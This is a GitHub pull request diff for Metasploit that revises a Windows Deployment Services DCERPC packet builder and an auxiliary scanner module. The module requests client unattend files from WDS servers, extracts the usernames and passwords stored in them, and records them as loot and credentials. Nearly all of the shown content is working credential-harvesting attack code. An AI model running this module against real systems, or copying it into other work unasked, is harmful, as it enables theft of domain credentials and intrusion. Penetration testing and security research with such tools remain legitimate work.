Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Windows Deployment Services (x86) #2511

Closed
wants to merge 5 commits into from
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
20 changes: 15 additions & 5 deletions lib/rex/proto/dcerpc/wdscp/packet.rb
Expand Up @@ -19,11 +19,19 @@ def initialize(packet_type, opcode)

def add_var(name, type_mod=0, value_length=nil, array_size=0, value)
padding = 0
value_type = WDS_CONST::BASE_TYPE[WDS_CONST::VAR_TYPE_LOOKUP[name]]
vt = WDS_CONST::VAR_TYPE_LOOKUP[name]
value_type = WDS_CONST::BASE_TYPE[vt]
name = Rex::Text.to_unicode(name).unpack('H*')[0]

value_length ||= value.length
# Terminate strings with null char
if vt == :STRING
value << "\x00"
elsif vt == :WSTRING
value = Rex::Text.to_unicode(value)
value << "\x00\x00"
end

value_length ||= value.length
# Variable block total size should be evenly divisible by 16.
len = 16 * (1 + (value_length/16))
@variables <<
Expand Down Expand Up @@ -51,7 +59,7 @@ def create

# These bytes are not part of the spec but are not part of DCERPC according to Wireshark
# Perhaps something from MSRPC specific? Basically length of the WDSCP packet twice...
packet << Rex::Text.pack_int64le(packet_size+40)*2
packet << [(packet_size+40)].pack('V') * 2
packet << create_endpoint_header(packet_size)
packet << create_operation_header(packet_size, var_count, @packet_type, @opcode)
packet.concat(@variables)
Expand All @@ -60,7 +68,8 @@ def create
end

def create_operation_header(packet_size, var_count, packet_type=:REQUEST, opcode)
return [ packet_size, # PacketSize
return [
packet_size, # PacketSize
256, # Version
packet_type, # Packet_Type
0, # Padding
Expand All @@ -70,7 +79,8 @@ def create_operation_header(packet_size, var_count, packet_type=:REQUEST, opcode
end

def create_endpoint_header(packet_size)
return [ 40, # Header_Size
return [
40, # Header_Size
256, # Version
packet_size, # Packet_Size - This doesn't differ from operation header despite the spec...
WDS_CONST::OS_DEPLOYMENT_GUID, # GUID
Expand Down
125 changes: 67 additions & 58 deletions modules/auxiliary/scanner/dcerpc/windows_deployment_services.rb
Expand Up @@ -20,19 +20,18 @@ class Metasploit3 < Msf::Auxiliary
DCERPCClient = Rex::Proto::DCERPC::Client
DCERPCResponse = Rex::Proto::DCERPC::Response
DCERPCUUID = Rex::Proto::DCERPC::UUID
WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants
WDS_CONST = Rex::Proto::DCERPC::WDSCP::Constants

def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows Deployment Services Unattend Retrieval',
'Description' => %q{
This module retrieves the client unattend file from Windows
Deployment Services RPC service and parses out the stored credentials.
Tested against Windows 2008 R2, 64-bit.
This module retrieves the client unattend file from Windows
Deployment Services RPC service and parses out the stored credentials.
Tested against Windows 2008 R2 x64 and Windows 2003 x86.
},
'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ],
'License' => MSF_LICENSE,
'Version' => '',
'References' =>
[
[ 'MSDN', 'http://msdn.microsoft.com/en-us/library/dd891255(prot.20).aspx'],
Expand All @@ -54,23 +53,27 @@ def initialize(info = {})
end

def run_host(ip)
begin
query_host(ip)
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("#{ip}:#{rport} error: #{e}")
end
begin
query_host(ip)
rescue ::Interrupt
raise $!
rescue ::Rex::ConnectionError => e
print_error("#{ip}:#{rport} Connection Error: #{e}")
ensure
# Ensure socket is pulled down afterwards
self.dcerpc.socket.close rescue nil
self.dcerpc = nil
self.handle = nil
end
end

def query_host(rhost)
# Create a handler with our UUID and Transfer Syntax

self.handle = Rex::Proto::DCERPC::Handle.new(
[
WDS_CONST::WDSCP_RPC_UUID,
'1.0',
'71710533-beba-4937-8319-b5dbef9ccc36',
1
],
'ncacn_ip_tcp',
rhost,
Expand All @@ -80,14 +83,14 @@ def query_host(rhost)
print_status("Binding to #{handle} ...")

self.dcerpc = Rex::Proto::DCERPC::Client.new(self.handle, self.sock)
print_good("Bound to #{handle}")
vprint_good("Bound to #{handle}")

report_service(
:host => rhost,
:port => datastore['RPORT'],
:proto => 'tcp',
:name => "dcerpc",
:info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services"
:host => rhost,
:port => datastore['RPORT'],
:proto => 'tcp',
:name => "dcerpc",
:info => "#{WDS_CONST::WDSCP_RPC_UUID} v1.0 Windows Deployment Services"
)

table = Rex::Ui::Text::Table.new({
Expand All @@ -109,7 +112,7 @@ def query_host(rhost)
rescue ::Rex::Proto::DCERPC::Exceptions::Fault => e
vprint_error(e.to_s)
print_error("#{rhost} DCERPC Fault - Windows Deployment Services is present but not configured. Perhaps an SCCM installation.")
return
return nil
end

unless result.nil?
Expand All @@ -118,7 +121,7 @@ def query_host(rhost)

results.each do |result|
unless result.empty?
unless result['username'].nil? || result['password'].nil?
if result['username'] and result['password']
print_good("Retrived #{result['type']} credentials for #{architecture[0]}")
creds_found = true
domain = ""
Expand All @@ -143,31 +146,32 @@ def query_host(rhost)
def request_client_unattend(architecture)
# Construct WDS Control Protocol Message
packet = Rex::Proto::DCERPC::WDSCP::Packet.new(:REQUEST, :GET_CLIENT_UNATTEND)
packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, [architecture[1]].pack('C'))
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID,
"\x35\x00\x36\x00\x34\x00\x44\x00\x41\x00\x36\x00\x31\x00\x44\x00"\
"\x32\x00\x41\x00\x45\x00\x31\x00\x41\x00\x41\x00\x42\x00\x32\x00"\
"\x38\x00\x36\x00\x34\x00\x46\x00\x34\x00\x34\x00\x46\x00\x32\x00"\
"\x38\x00\x32\x00\x46\x00\x30\x00\x34\x00\x33\x00\x34\x00\x30\x00"\
"\x00\x00")
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC,
"\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\
"\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00"\
"\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x35\x00\x30\x00"\
"\x35\x00\x36\x00\x33\x00\x35\x00\x31\x00\x41\x00\x37\x00\x35\x00"\
"\x00\x00")
packet.add_var( WDS_CONST::VAR_NAME_VERSION,"\x00\x00\x00\x01\x00\x00\x00\x00")

guid = Rex::Text.rand_text_hex(32)
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_GUID, guid)

# Not sure what this padding is for...
mac = [0x30].pack('C') * 20
mac << Rex::Text.rand_text_hex(12)
packet.add_var( WDS_CONST::VAR_NAME_CLIENT_MAC, mac)

arch = [architecture[1]].pack('C')
packet.add_var( WDS_CONST::VAR_NAME_ARCHITECTURE, arch)

version = [1].pack('V')
packet.add_var( WDS_CONST::VAR_NAME_VERSION, version)

wdsc_packet = packet.create

print_status("Sending #{architecture[0]} Client Unattend request ...")
vprint_status("Sending #{architecture[0]} Client Unattend request ...")
response = dcerpc.call(0, wdsc_packet)

if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
vprint_status('Received response ...')
data = dcerpc.last_response.stub_data

# Check WDSC_Operation_Header OpCode-ErrorCode is success 0x000000
op_error_code = data.unpack('i*')[18]
op_error_code = data.unpack('V*')[15]
if op_error_code == 0
if data.length < 277
vprint_error("No Unattend received for #{architecture[0]} architecture")
Expand All @@ -185,37 +189,42 @@ def request_client_unattend(architecture)

def extract_unattend(data)
start = data.index('<?xml')
finish = data.index('</unattend>')+10
return data[start..finish]
finish = data.index('</unattend>')
if start and finish
finish += 10
return data[start..finish]
else
print_error("Incomplete transmission or malformed unattend file.")
return nil
end
end

def parse_client_unattend(data)
begin
xml = REXML::Document.new(data)

rescue REXML::ParseException => e
print_error("Invalid XML format")
vprint_line(e.message)
end

return Rex::Parser::Unattend.parse(xml).flatten
return Rex::Parser::Unattend.parse(xml).flatten
rescue REXML::ParseException => e
print_error("Invalid XML format")
vprint_line(e.message)
return nil
end
end

def loot_unattend(archi, data)
return if data.empty?
p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services")
print_status("Raw version of #{archi} saved as: #{p}")
return if data.empty?
p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, archi, "Windows Deployment Services")
print_status("Raw version of #{archi} saved as: #{p}")
end

def report_creds(domain, user, pass)
report_auth_info(
:host => rhost,
:port => 4050,
:sname => 'dcerpc',
:proto => 'tcp',
:source_id => nil,
:source_type => "aux",
:user => "#{domain}\\#{user}",
:pass => pass)
:host => rhost,
:port => 4050,
:sname => 'dcerpc',
:proto => 'tcp',
:source_id => nil,
:source_type => "aux",
:user => "#{domain}\\#{user}",
:pass => pass)
end
end